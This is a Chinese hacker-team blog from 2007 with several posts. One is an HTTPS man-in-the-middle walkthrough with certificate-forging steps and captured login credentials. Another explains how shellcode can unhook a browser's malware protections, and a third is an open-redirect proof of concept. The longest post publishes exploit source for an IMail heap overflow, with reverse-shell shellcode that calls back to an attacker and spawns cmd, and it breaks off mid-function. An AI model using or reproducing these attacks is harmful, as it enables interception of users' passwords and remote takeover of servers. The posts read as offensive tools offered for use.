2007年9月28日星期五

[Tips]如何进行https中间人攻击

by 云舒
2007-09-29
http://www.ph4nt0m.org

这篇文章主要是介绍一些如何进行中间人攻击,包括两部分,第一部分是伪造证书,第二部分就是中间人转发数据了。作为中间人之前,需要使用DNS欺骗将域名解析到中间人的机器上面。HTTPS中间人攻击对自己签发的证书比较有效,比如xfocus这样的。因为本来就会出现证书警告,而向yahoo,google等网站,是权威机构发布的证书,伪造了之后会出现安全警告,不过我想白痴的用户还是很多吧。另外,这种劫持是只能在用户端攻击用户的,和服务器没啥关系。

先说说伪造证书的方法。首先使用openssl来生成一个证书,我这里生成了一个example.crt和example.key两个,保护密码为 1234。然后连接到真实的HTTPS服务器,获取真正的证书。再对开始伪造的证书进行修改,将伪造证书的几个字段改成和真实服务器的一样,增加迷惑性。

这个程序也包含在下面了,代码很短,可以自己看看,我不多描述了,主要用了X509_set_version, X509_set_serialNumber,X509_set_subject_name和X509_set_issuer_name等4个API修改的。不过比较郁闷的是windows下面编译的openssl竟然有点小问题,X509_NAME这个结构体是undefined的,写代码的时候想办法避开就好了。这样做出来的证书,开起来和真实的一样,不过公钥不同,因为如果公钥也用真是服务器的,我们没私钥那么中间人就白做了。

现在要说的就是怎么做中间人攻击了,对于一般的站点,会同时具备HTTP和HTTPS两种,所以需要在中间人的机器上监听tcp 80和tcp443,然后对数据进行转发。这一部分没什么难的,就是程序写得比较乱。本来forward等几个文件的函数可以合并到一起的,去年我就是这么做的,但是结果bug非常多。这几天突然想起对HTTPS的攻击,就把代码翻出来重写了。代码变长了很多,但是效果好了很多。唯一遗憾的是,貌似对 firefox无效,不知道为什么,需要进一步分析。

我对自己登录xfocus的论坛过程做过测试,密码什么的还是能抓到的,gmail我也测试过,基本没太大的问题。附件里面是代码,编译好的程序和我的测试证书也在,不说了,代码描述吧(代码非常乱,嘿嘿)……

攻击的时候可以这样:

D:\Projects\HttpsMiM\Release>MakeCert.exe 125.208.7.30
write fake cert to 
125.208.7.30.crt, use this to do the mim attack!

D:\Projects\HttpsMiM\Release
>HttpsMim.exe 125.208.7.30 125.208.7.30.crt

POST 
/bbs/index.php HTTP/1.1
Accept: image
/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shoc
wave
-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, applicatio
/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms
xbap, application
/x-ms-application, */*
Referer: 
https://www.xfocus.net/bbs/index.php?act=Login&do=00
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
.50727; .NET CLR 3.0.04506.30)
Host: www.xfocus.net
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292

act=Login&do=01&UserName=ph4_yunshu&PassWord=wrongpassword&submit=%CE%D2%D2%AA%
5%C7%C2%BDssl2 recv erro: error:00000000:lib(0):func(0):reason(0)
GET /images/title.gif HTTP/1.1
Accept: 
*/*
Accept
-Language: zh-cn
Accept
-Encoding: gzip, deflate
User
-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
.
50727; .NET CLR 3.0.04506.30)
Host: www.xfocus.net
Connection: Keep
-Alive
Cookie: PHPSESSID
=033eebeaf4af7c73243ff3901c70f292 


代码下载:
http://www.icylife.net/pic/httpsmim/MakeCert.zip
http://www.icylife.net/pic/httpsmim/HttpsMim.zip

2007年9月26日星期三

[Tips] maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

author: void#ph4nt0m.org
publish: 2007-09-27
http://www.ph4nt0m.org

Text Mode

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过
-----------------------------------------------------------------------
maxthon2启动的时候装载mxsafe.dll对一些api进行了hook.在浏览器里运行程序,如果这些程序不在其信任列表里面,就会蹦个框,要求允许/禁止.所以,大部分下载木马在启动的时候就被检测到了.

要知道mxsafe hook了哪些api. od maxthon.exe, bp WriteProcessMemory, F9看改了哪些地址.或者启动maxthon.exe,用rooktit unhooker扫下code hooks就知道了.

hook啥 (maxthon.exe v2.0.3.4643, mxsafe.dll v1.0.0.477)
---------------------------
修改ntdll.dll 导出表hook:
[1] ZwCreateProcessEx/ZwCreateProcess // 检测winxp,2003/2000创建进程
[2] ZwWriteVirtualMemory // 为检测代码注入

kernel32.dll iat hook:
[3] ZwCreateProcessEx(xp 2003)/ZwCreateProcess(2000)// 检测winxp,2003/2000创建进程
[4] ZwWriteVirtualMemory // 为检测代码注入

kernel32.dll inline hook:
[5] LoadLibraryExW // 检测LoadLibraryA/W调用
[6] CreateProcessInternalW // 检测CreateProcessA/W调用


咋绕过
------------------------------
要做到偷偷的进城,打枪的不要,就要在shellcode里unhook掉上述的[3],[4],[6].
unhook掉[6]的inline好办,mxsafe.dll只修改了CreateProcessInternalW的头几个字节做relative jmp,改回原始的就行了.
unhook掉[3],[4]在shellcode里要稍微麻烦点,因为内存ntdll.dll映像导出表里面的ZwCreateProcess (Ex),ZwWriteVirtualMemory已经被mxsafe改掉了,所以通过手工解析导出表来获取原始的native api地址,进而恢复iat hook的路就堵上了.但是天无绝人之路嘛,还是有几种办法可以得到真实的地址:
1. 读取原始的ntdll.dll文件,手工解析导出表得到真实地址.
2. 搜索内存ntdll.dll映像的.text段,用特征匹配找到native api的地址.

1方法实现起来麻烦.2方法简单点,需要注意的是一些细节问题:
先看下ntdll.dll里面的ZwCreateProcess(Ex)代码.

win 2003 sp1 ZwCreateProcessEx 0x32
------------------------------------------
7C9512A7      
90                NOP
7C9512A8 
>    B8 32000000       MOV       EAX,32 // syscall id
7C9512AD      BA 0003FE7F       MOV       EDX,7FFE0300
7C9512B2      FF12              CALL      DWORD PTR DS:[EDX]
7C9512B4      C2 
2400           RETN      24

win xpsp2 ZwCreateProcessEx    
0x30
------------------------------------------
7C92D74E      
90                NOP
7C92D74F      
90                NOP
7C92D750      
90                NOP
7C92D751      
90                NOP
7C92D752      
90                NOP
7C92D753      
90                NOP
7C92D754 
>    B8 30000000       MOV       EAX,30 // syscall id
7C92D759      BA 0003FE7F       MOV       EDX,7FFE0300
7C92D75E      FF12              CALL      DWORD PTR DS:[EDX]
7C92D760      C2 
2000           RETN      20

win 
2000    ZwCreateProcess
--------------------------------------------
77F88306        8BFF            MOV EDI,EDI
77F88308 
>/$    B8 29000000     MOV EAX,29 // syscall id
77F8830D    |.    8D5424 04       LEA EDX,DWORD PTR SS:[ESP+4]
77F88311    
|.    CD 2E           INT 2E
77F88313    \.    C2 
2000         RETN 20


发现什么了? 同一个ZwCreateProcessEx的syscall id在xp,2000是不一样的,并且2000只有ZwCreateProcess,所以想一个特征通杀2000/xp/2003是不行的.
所以, 在xp要匹配0x000030B8,在2003要匹配0x000032B8,找到真实地址后,再到内存kernel32.dll映像的导入表里搜索 NtCreateProcessEx.(因为xp/2003的CreateProcessA/W不用NtCreateProcess创建进程),然后修复 iat hook.
在2000要匹配0x00029B8,kernel32.dll搜索NtCreateProcess,修复.
NtWriteVirtualMemory的类似,就不多说了.
示例代码就不提供了,有兴趣的,折腾几下就出来了.


咋防护
---------------
ring3是靠不住的,既然shellcode都运行起来了,还不是你hook啥,我unhook啥的体力劳动.要深度防御,还是进ring0吧.


最后
---------------
对于win2003,如果CPU支持DEP,boot.ini里面又是/noexecute=optout,毋须mxsafe.dll劳神,heap spray就挂了.
没测试vista,不过估计UAC也不是吃素的.

2007年9月24日星期一

[Tips]pw6的一个url转跳[BUG?]

by Superhei
2007-09-25
http://www.ph4nt0m.org

Text Mode


\hack.php的Codz:

require_once('global.php');
$H_name = GetGP('H_name'); //想当于$_GET[H_name]
if(ereg("^http",$H_name)!==false){
    ObHeader(
"$H_name"); //如果是http就通过ObHeader转跳
elseif(!$db_hackdb[$H_name|| !is_dir(R_P."hack/$H_name"|| !file_exists(R_P."hack/$H_name/index.php")){
//如果可以过上面这个判断就可以用下面的define定义H_P了,可惜!$db_hackdb[$H_name]这个过不去 :(
    Showmsg("hack_error");
}
define('H_P',R_P."hack/$H_name/");


我们看看ObHeader()在global.php里:

function ObHeader($URL){
    
global $db_obstart,$db_bbsurl,$db_htmifopen;
    
if($db_htmifopen && strtolower(substr($URL,0,4))!='http'){
        
$URL="$db_bbsurl/$URL";
    }
    
ob_end_clean();
    
if($db_obstart){//可惜phpwind不让全局变量了[见我上个blog],要不就可以进header()
    
        
header("Location: $URL");exit;
    } 
else{
        
ob_start();
        
echo "<meta http-equiv='refresh' content='0;url=$URL'>";exit;//这里访问了我们的url
    }
}


POC:
http://www.phpwind.net/hack.php?H_name=http://www.google.com

2007年9月23日星期日

[News]写在六周年庆之后

by axis
2007-09-24
http://www.ph4nt0m.org

看到有这么多朋友庆祝幻影的6岁生日,心里很感动。

现在很多事情,与六年前相比,都变了。

人们开始变得急功近利起来,许多人也不再公布、分享一些技术成功。这与安全技术的商业化是分不开的。

做技术的人本身没有钱,但是技术却可以转化为钱,特别是攻击技术,可以转化为最锋利的刀,而防御技术,则可以转化为最坚固的盾。于是在这场没有硝烟的战场里,技术人员成为了各方大佬手中的锐器,坚盾。既然变成武器了,那么自然不能再出来说什么话,这也是技术人员的悲哀,为了生计,不得不去做那些武器。

6年前,hack.co.za没落的时候,正是幻影崛起的时候。我想很多新人可能都没听说过当年威名赫赫的hack.co.za吧。许多组织烟消云散,或是退居到二线了,不再像以前一样活跃在互联网中。像teso、lsd、thc这些组织,曾经一度叱诧风云,但是现在却几乎无人问津。

但是江山代有人才出,我们可喜的看到,在安全技术发展的同时,伴随着fuzz技术、客户端攻击技术的流行、web安全的兴起,安全圈子里涌现出了一批批新的“牛人”,他们为安全的发展做出了许多卓越的贡献,也是他们,在推动着安全技术前进的历史车轮。

然而,这一切,对于中国的hacker们来说,则更多的是一种技术上的追随,更有甚者,是一个看客。其实从我所了解的一些资料看来,我一直都认为中国的技术人员,在安全领域的研究,完全是处于世界领先水平的。可惜的是太多的优秀人材,成为了那些锋利的刀,优秀的研究成果,都被雪藏了。或者有些并不曾进入公众的视线,并不为人所知。

世界上对于安全技术讨论最为热烈的邮件列表,比如bugtraq,full-disclousure,这些都是英文的。出于语言壁垒,导致在全球安全技术研究领域内占了很大比例的Chinese Hacker们,很少参与到这些讨论中来,而更多的则只是被动的接受这些信息,这不得不说是一个遗憾,是我们的遗憾,也是全球安全技术研究领域的遗憾。所以出于一个契机,幻影才建立了一个中文的邮件列表,希望能够让中国的安全技术研究者,都参与到这个平台上来。

企业做大后,就要承担一些社会责任。出于同样的道理,在幻影历时6年,磕磕绊绊的走到了今天后,我也觉得,幻影应该为中国的安全界做些什么。

我相信,大多数技术人员,都并不富有。当初走上安全这条道路,我想大多数都是出于兴趣。说句实话,通过技术致富的人,很少。但是,我们研究,我们快乐!

幻影的文化是工程师文化。我们欢迎所有讨论和研究技术的朋友,我们反对所有浮躁的人。对于工程师来说,浮躁是最大的原罪。我们并不排斥从我们的技术中挖掘出商机的朋友,但是如果这里的技术帮助了你,请回报整个社区。

时至今日,在论坛关闭后,还能在这里见到这么多朋友,让我非常开心。也是因为你们的支持,才能让幻影继续走下去。幻影一直就是一个非常单纯的地方。我们一直没有商业化,以后也不会,我们甚至不会在页面上放任何广告。在这里,技术至上。

我们在blog上公布了许多研究成果,这样做的目的,是出于一种文化,出于一种责任。希望我们的方式,能够让大家认同我们的这种文化,并参与进来,不管你是否是幻影的core member。在这个社区里,愿意分享和讨论的人,一定会得到大家的尊敬。邮件列表,将不再是幻影的私家后花园,我希望各个team或者是个人,都能在这里发布他们的最新研究成果,并与大家分享。不管你的帽子是什么颜色,这里没人在乎,在乎的是你是否愿意show出你自己的技术。

希望7周年站庆时,能够看到更多令人振奋的技术成果,是来自“Chinese Hacker”!


写在最后:我们被“和谐”了,但是我们不“妥协”,有见过BlackHat“妥协”的吗?嘿嘿!

2007年9月19日星期三

[Exploit]IMail iaspam.dll 8.0x Remote Heap Overflow Exploit

Author: axis
Date: 2007-09-20
Team: http://www.ph4nt0m.org

为了庆祝幻影成立6周年(6th Anniversary),老规矩,发点贺礼出来。
今年写的一个exp,送给过一些朋友,这次把source code直接公布出来。

这个漏洞也没啥,但是利用方式还不错,可以给大家借鉴下。

请仔细阅读我的注释,要是溢出不成功别找我。ScriptKids are not welcome.

Text Mode

/*

  by axis
  2007-06-05
  
http://www.ph4nt0m.org


  以前有这个一个imail的exp
PRIVATE Remote Exploit  For IMAIL Smtp Server(1.2)
This is For imail 8.01-8.11 version
Usage:faint.exe -d <host> [options]
Options:
        -d:             Hostname to attack [Required]
        -t:             Type [Default: 0]
        -p:             Attack port [Default: 25]
        -S:             the IP connect back to.
        -P:             the port connect back to.
Types:
        0: win2k All version , IMail 8.01-11

  不知道是哪位大牛写的

最近看了看,

非常好玩的一个漏洞。

漏洞是发生在iaspam.dll里

loc_1001ada5       ==> 注意动态调试时候注意加载基址的不同。
mov    eax, [ebp+var_54]
mov    ecx, [eax+10c8h]
push   ecx                 ; char *
mov    edx, [ebp+var_54]
mov    eax, [edx+10d0h]
push   eax                 ; char *
call   _strcpy
add    esp, 8
jmp    loc_1001a6f0


  这里strcpy的两个buffer,src和dst的指针,居然是直接从堆里读出来的。
  而之前没有做任何检查

  所以发送个邮件到服务器,SMD文件

  然后在其后的偏移处控制这两个地址,就可以拷贝任意字符串到任意内存。

  badchar是 0x00 0x0a  emm说还有个 0x25,不过我没找到。


  以前网上那个反连的版本,是利用了覆盖peb里的指针。

  这种方法在2003上不能用。

  这里我采用了emm的方法,构造了一个溢出

  因为imailsec.dll的.data段可写。

  所以我找到了这么一个地方

1000CB5D    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
1000CB60    50              PUSH EAX
1000CB61    8B0D 6C540310   MOV ECX,DWORD PTR DS:[1003546C]          ; IMailsec.1003549C
1000CB67    51              PUSH ECX
1000CB68    8D95 FCFDFFFF   LEA EDX,DWORD PTR SS:[EBP-204]
1000CB6E    52              PUSH EDX
1000CB6F    FF15 F8D30210   CALL DWORD PTR DS:[<&USER32.wsprintfA>]  ; USER32.wsprintfA


  其中指针DWORD PTR DS:[1003546C] 在imailsec.dll的.data中,这个地址可以被我们覆盖。

  所以我们就可以构造一个溢出。

  思路如下:
  第一封邮件: 发送shellcode到内存中保存好。这里我放到了teb中
  第二封邮件: 发送溢出需要的覆盖字符串到内存中保存好。这里我也放在了teb中
  第三封邮件: 覆盖imailsec.dll中的 .data段的指针,使wsprintfA造成溢出

  溢出覆盖使用的字符串是第二封邮件发送过去的,覆盖后的返回地址直接指向了第一封邮件发送过去的shellcode在内存中的地址。

  所以这个漏洞是和平台无关的!!不需要任何opcode!!

  在实际利用时我发送了4封邮件,第一封是废邮件,用于提高成功率。


  由于互联网的spam泛滥,所以等到邮件服务器处理漏洞邮件时,也许已经过了几个月了。。。

  所以最好的方案是使用download+exec 的shellcode。

  这里给出一个比较烂的反连shellcode作为poc。


  据emm说这个漏洞一直没补,只是高版本没有了。。。

  
*/

#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<windows.h>
#include 
<winsock.h>
#include 
<io.h>

#pragma comment (lib,
"ws2_32")


char *szEHLO = "HELO\r\n";
char *szMF = "MAIL FROM <fucker@fuckimail.org>\r\n";
char *szRCPT = "RCPT TO: <postmaster>\r\n";
char *szDATA = "DATA\r\n";
char *szTIME = "Date: Thu, 1 Oct 2007 07:06:09 +0800\r\n";
char *szMIME = "MIME\r\n";
char *szEND = ".\r\n";
char *szQUIT = "QUIT\r\n";
char *szCT = "Content-Type: multipart/boundary=";
char *szCTE = "Content-Transfer-Encoding:";

//#define  SCaddr  "\x50\xe7\x03\x10"
#define  SCaddr  "\x50\xc8\xfd\x7f"
#define  Fuck_ptr "\x6c\x54\x03\x10"   //0x1003546c
#define  Teb_temp1  0x7ffdd050 
#define  Teb_temp2  0x7ffdd040 
#define  Teb_temp3  0x7ffdd030 


unsigned 
short port = 25;
unsigned 
char payload[5000= "";



#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
                   __asm  _emit 
0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN

unsigned 
char sh_Buff[2048];
unsigned 
int  sh_Len;
unsigned 
int  Enc_key=0x99;        //其实无关紧要,动态寻找





unsigned 
char decode1[] =
/*
00401004   . /EB 0E         JMP SHORT encode.00401014
00401006   $ |5B            POP EBX
00401007   . |4B            DEC EBX
00401008   . |33C9          XOR ECX,ECX
0040100A   . |B1 FF         MOV CL,0FF
0040100C   > |80340B 99     XOR BYTE PTR DS:[EBX+ECX],99
00401010   .^|E2 FA         LOOPD SHORT encode.0040100C
00401012   . |EB 05         JMP SHORT encode.00401019
00401014   > \E8 EDFFFFFF   CALL encode.00401006
*/
"\xEB\x0E\x5B\x4B\x33\xC9\xB1"
"\xFF"          // shellcode size
"\x80\x34\x0B"
"\xB8"          // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF";

unsigned 
char decode2[] =
/*
00406030   /EB 10           JMP SHORT 00406042
00406032   |5B              POP EBX
00406033   |4B              DEC EBX
00406034   |33C9            XOR ECX,ECX
00406036   |66:B9 6601      MOV CX,166
0040603A   |80340B 99       XOR BYTE PTR DS:[EBX+ECX],99
0040603E  ^|E2 FA           LOOPD SHORT 0040603A
00406040   |EB 05           JMP SHORT 00406047
00406042   \E8 EBFFFFFF     CALL 00406032
*/
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"
"\x66\x01"      // shellcode size
"\x80\x34\x0B"
"\xB8"          // xor byte
"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF";

// kernel32.dll functions index
#define _LoadLibraryA            0x00
#define _CreateProcessA            0x04
//#define _ExitProcess            0x08
#define _ExitThread             0x08
#define    _WaitForSingleObject    0x0C
// ws2_32.dll functions index
#define _WSASocketA                0x10
#define _connect                0x14
#define _closesocket            0x18
//#define _WSAStartup            0x1C

// functions number
#define _Knums                  4
#define _Wnums                  3

// Need functions
unsigned char functions[100][128=         
{                                           
// [esi] stack layout
    
// kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"CreateProcessA"},                     //    [esi+4]       
    {"ExitThread"},                         //    [esi+8]
    
//{"ExitProcess"},
    
//{"TerminateProcess"},
    {"WaitForSingleObject"},                //    [esi+12] 

    
// ws2_32  3                            // 01 ws2_32.dll
    {"WSASocketA"},                         //    [esi+16]     
    {"connect"},                            //    [esi+20]        
    {"closesocket"},                        //    [esi+24]
    
//{"WSAStartup"},                       //    [esi+28]
    {""},
};

void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode();

// Get function hash
unsigned long hash(unsigned char *c)
{
    unsigned 
long h=0;
    
while(*c)
    {
        h 
= ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
    }
    
return h;
}

// get shellcode
void GetShellCode(char* ipstr, short port)
{
    
char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    
char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    unsigned 
char  *pSc_addr;
    unsigned 
char  pSc_Buff[2048];
    unsigned 
int   MAX_Sc_Len=0x2000;
    unsigned 
long  dwHash[100];
    unsigned 
int   dwHashSize;

    unsigned 
int l,i,j,k;

    
char *p;
    
int ip;

    
// Get functions hash
    for (i=0;;i++) {
        
if (functions[i][0== '\x0'break;

        dwHash[i] 
= hash(functions[i]);
        
//fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize 
= i*4;

    
// Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;

    
for (k=0;k<MAX_Sc_Len;++k ) {
        
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
            
break;
        }
    }
    pSc_addr
+=(k+8);   // start of the ShellCode
    
    
for (k=0;k<MAX_Sc_Len;++k) {
        
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
            
break;
        }
    }
    sh_Len
=k; // length of the ShellCode
    
    memcpy(pSc_Buff, pSc_addr, sh_Len);

    
for(k=0; k<sh_Len; ++k)
    {
        
if(memcmp(pSc_Buff+k, "\x68\x7F\x00\x00\x01"5== 0)
        {
            ip 
= inet_addr(ipstr);
            p 
= (char*)&ip;
            pSc_Buff[k
+1= p[0];
            pSc_Buff[k
+2= p[1];
            pSc_Buff[k
+3= p[2];
            pSc_Buff[k
+4= p[3];
        }
        
if(memcmp(pSc_Buff+k, "\x68\x02\x00\x00\x35"5== 0)
        {
            p 
= (char*)&port;
            pSc_Buff[k
+3= p[1]; 
            pSc_Buff[k
+4= p[0];
        }
    }

    
// Add functions hash
    memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
    sh_Len 
+= dwHashSize;

    
//printf("%d bytes shellcode\n", sh_Len);
    
// print shellcode
    
//PrintSc(pSc_Buff, sh_Len);

    
// find xor byte
    for(i=0xff; i>0; i--)
    {
        l 
= 0;
        
for(j=0; j<sh_Len; j++)
        {
            
if ( 
//                   ((pSc_Buff[j] ^ i) == 0x26) ||    //%
//                   ((pSc_Buff[j] ^ i) == 0x3d) ||    //=
    
//               ((pSc_Buff[j] ^ i) == 0x3f) ||    //?
                   
//((pSc_Buff[j] ^ i) == 0x40) ||    //@
                   ((pSc_Buff[j] ^ i) == 0x00||
                   
//((pSc_Buff[j] ^ i) == 0x3c) ||
                   
//((pSc_Buff[j] ^ i) == 0x3e) ||
    
//               ((pSc_Buff[j] ^ i) == 0x2f) ||
    
//               ((pSc_Buff[j] ^ i) == 0x22) ||
    
//               ((pSc_Buff[j] ^ i) == 0x2a) ||
                   
//((pSc_Buff[j] ^ i) == 0x3a) ||
    
//               ((pSc_Buff[j] ^ i) == 0x20) ||
                   ((pSc_Buff[j] ^ i) == 0x25||
                   ((pSc_Buff[j] 
^ i) == 0x0D||
                   ((pSc_Buff[j] 
^ i) == 0x0A
    
//               ((pSc_Buff[j] ^ i) == 0x5C)
                )
            {
                l
++;
                
break;
            };
        }

        
if (l==0)
        {
            Enc_key 
= i;
            
//printf("Find XOR Byte: 0x%02X\n", i);
            for(j=0; j<sh_Len; j++)
            {
                pSc_Buff[j] 
^= Enc_key;
            }

            
break;                        // break when found xor byte
        }
    }

    
// No xor byte found
    if (l!=0){
        
//fprintf(stderr, "No xor byte found!\n");

        sh_Len  
= 0;
    }
    
else {
        
//fprintf(stderr, "Xor byte 0x%02X\n", Enc_key);

        
// encode
        if (sh_Len > 0xFF) {
            
*(unsigned short *)&decode2[8= sh_Len;
            
*(unsigned char *)&decode2[13= Enc_key;

            memcpy(sh_Buff, decode2, 
sizeof(decode2)-1);
            memcpy(sh_Buff
+sizeof(decode2)-1, pSc_Buff, sh_Len);
            sh_Len 
+= sizeof(decode2)-1;
        }
        
else {
            
*(unsigned char *)&decode1[7]  = sh_Len;
            
*(unsigned char *)&decode1[11= Enc_key;

            memcpy(sh_Buff, decode1, 
sizeof(decode1)-1);
            memcpy(sh_Buff
+sizeof(decode1)-1, pSc_Buff, sh_Len);
            sh_Len 
+= sizeof(decode1)-1;
        }
    }
}

// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
    
int i,j;
    
char *p;
    
char msg[4];

    printf(
"/* %d bytes */\n",buffsize);
    
for(i=0;i<buffsize;i++)
    {
        
if((i%16)==0)
            
if(i!=0)
                printf(
"\"\n\"");
            
else
                printf(
"\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
        
for( p = msg, j=0; j < 4; p++, j++ )
        {
            
if(isupper(*p))
                printf(
"%c", _tolower(*p));
            
else
                printf(
"%c", p[0]);
        }
    }
   printf( 
"\";\n");
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          
// C macro to begin proc

        jmp     sc_end       
sc_start:         
        pop     edi                         
// Hash string start addr (esp -> edi)

        
// Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink 
        lodsd                               // eax = InInitOrder.blink
        mov     ebp, [eax+8]                // ebp = kernel32.dll base address

        mov     esi, edi                    
// Hash string start addr -> esi
    
    
// Get function addr of kernel32
        push    _Knums
        pop     ecx
        
    get_kernel32:
        call    GetProcAddress_fun
        loop    get_kernel32

        
// Get ws2_32.dll base addr
        push    0x00003233
        push    
0x5f327377
        push    esp
        call    dword ptr [esi
+_LoadLibraryA]         // LoadLibraryA("ws2_32");
        
        
//mov     ebp, eax                   // ebp = ws2_32.dll base address
        xchg    eax, ebp

   
// Get function addr of ws2_32
        push    _Wnums
        pop     ecx

    get_ws2_32:
        call    GetProcAddress_fun
        loop    get_ws2_32


//
/*
     
//LWSAStartup:
        sub     esp, 400
        push    esp
        push    0x101
        call    dword ptr [esi+_WSAStartup]             // WSAStartup(0x101, &WSADATA);
//
*/

//LWSASocketA:
        push    ecx
        push    ecx
        push    ecx
        push    ecx

        push    
1
        push    
2
        call    dword ptr [esi
+_WSASocketA]   // s=WSASocketA(2,1,0,0,0,0);

        
//mov     ebx, eax                    // socket -> ebx
        xchg    eax, ebx
        
//Lconnect:
        
//int 3
        push    0x0100007F                     // host: 127.0.0.1 
        push    0x35000002                     // port: 53 
        mov     ebp, esp
        
        push    
0x10                        // sizeof(sockaddr_in)
        push    ebp                         // sockaddr_in address
        push    ebx                         // socket s
        call    dword ptr [esi+_connect]    // connect(s, name, sizeof(name));

        
// if connect failed , exit
        test    eax, eax
        jne     Finished
        
//        xor     eax, eax
        
        
// allot memory for STARTUPINFO, PROCESS_INFORMATION
        mov     edi, esp
           
        
// zero out SI/PI
        push    0x12
        pop     ecx
    stack_zero:
        stosd
        loop    stack_zero
        
        
//mov     byte ptr [esp+0x10], 0x44   // si.cb = sizeof(si)
        
//inc     byte ptr [esp+0x3C]         // si.dwFlags
        
//inc     byte ptr [esp+0x3D]         // si.wShowWindow
        
//mov     [esp+0x48], ebx             // si.hStdInput = s
        
//mov     [esp+0x4C], ebx             // si.hStdOutput = s
        
//mov     [esp+0x50], ebx             // si.hStdError = s
        
        mov     word ptr  [esp
+0x3c], 0x0101
        xchg    eax, ebx
        stosd
        stosd
        stosd
    
        mov     edi, esp
    
        
// push "cmd"
        push    0x00646d63                  // "cmd"
        mov     ebp, esp

        push    eax                         
// socket
        
//LCreateProcess:
        lea     eax, [edi+0x10]                    
        push    edi                         
// pi
        push    eax                         // si
        push    ecx                         // lpCurrentDirectory
        push    ecx                         // lpEnvironment
        push    ecx                         // dwCreationFlags
        push    1                           // bInheritHandles
        push    ecx                         // lpThreadAttributes
        push    ecx                         // lpProcessAttributes
        push    ebp                         // lpCommandLine =  "cmd"
        push    ecx                         // lpApplicationName NULL
        call    dword ptr [esi+_CreateProcessA]         // CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si, pi);
    
//LWaitForSingleObject:
        
//push    1  
        push    0xFFFFFFFF
        push    dword ptr [edi]
        call    dword ptr [esi
+_WaitForSingleObject]    // WaitForSingleObject(Handle, time) ;

//LCloseSocket:
        
//push    ebx
        call    dword ptr [esi+_closesocket]           // closesocket(c);

Finished:
        
// 恢复构造的溢出点
        mov     eax, 0x1003546c
        mov     DWORD ptr [eax],    
0x1003549c
        mov     DWORD ptr [eax
+4],  0x100354c8
        mov     DWORD ptr [eax
+8],  0x100354e0



        
//push    1
        
//call    dword ptr [esi+_ExitProcess]            // ExitProcess();
        xor     eax, eax
        push    eax
        call    dword ptr [esi
+_ExitThread]

// 
GetProcAddress_fun:    
        push    ecx
        push    esi
    
        mov     esi, [ebp
+0x3C]             // e_lfanew
        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
        add     esi, ebp                    // rva2va
        push    esi
        mov     esi, [esi
+0x20]              // AddressOfNames RVA
        add     esi, ebp                    // rva2va
        xor     ecx, ecx
        dec     ecx

    find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx
        
    hash_loop:
        movsx   edx, 
byte ptr [eax]
        cmp     dl, dh
        jz      
short find_addr
        ror     ebx, 
7               // hash key
        add     ebx, edx
        inc     eax
        jmp     
short hash_loop
     
    find_addr:
        cmp     ebx, [edi]                  
// compare to hash
        jnz     short find_start
        pop     esi                         
// ExportDirectory
                    
// AddressOfNameOrdinals RVA
/*

//--------------------------------------------------------
        jmp over_it
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
//--------------------------------------------------------

over_it:
*/
        mov     ebx, [esi
+0x24
        add     ebx, ebp                    
// rva2va
        mov     cx, [ebx+ecx*2]             // FunctionOrdinal
        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
        add     ebx, ebp                    // rva2va
        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
        add     eax, ebp                    // rva2va
        stosd                               // function address save to [edi]
        
        pop     esi
        pop     ecx
        ret
        
sc_end:
        call sc_start
       
        PROC_END                            
//C macro to end proc
    }
}





// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    
struct sockaddr_in target;
    SOCKET s;
    
int i;
    DWORD bf;
    fd_set wd;
    
struct timeval tv;

    s 
= socket(AF_INET,SOCK_STREAM,0);
    
if(s<0)
        
return -1;

    target.sin_family 
= AF_INET;
    target.sin_addr.s_addr 
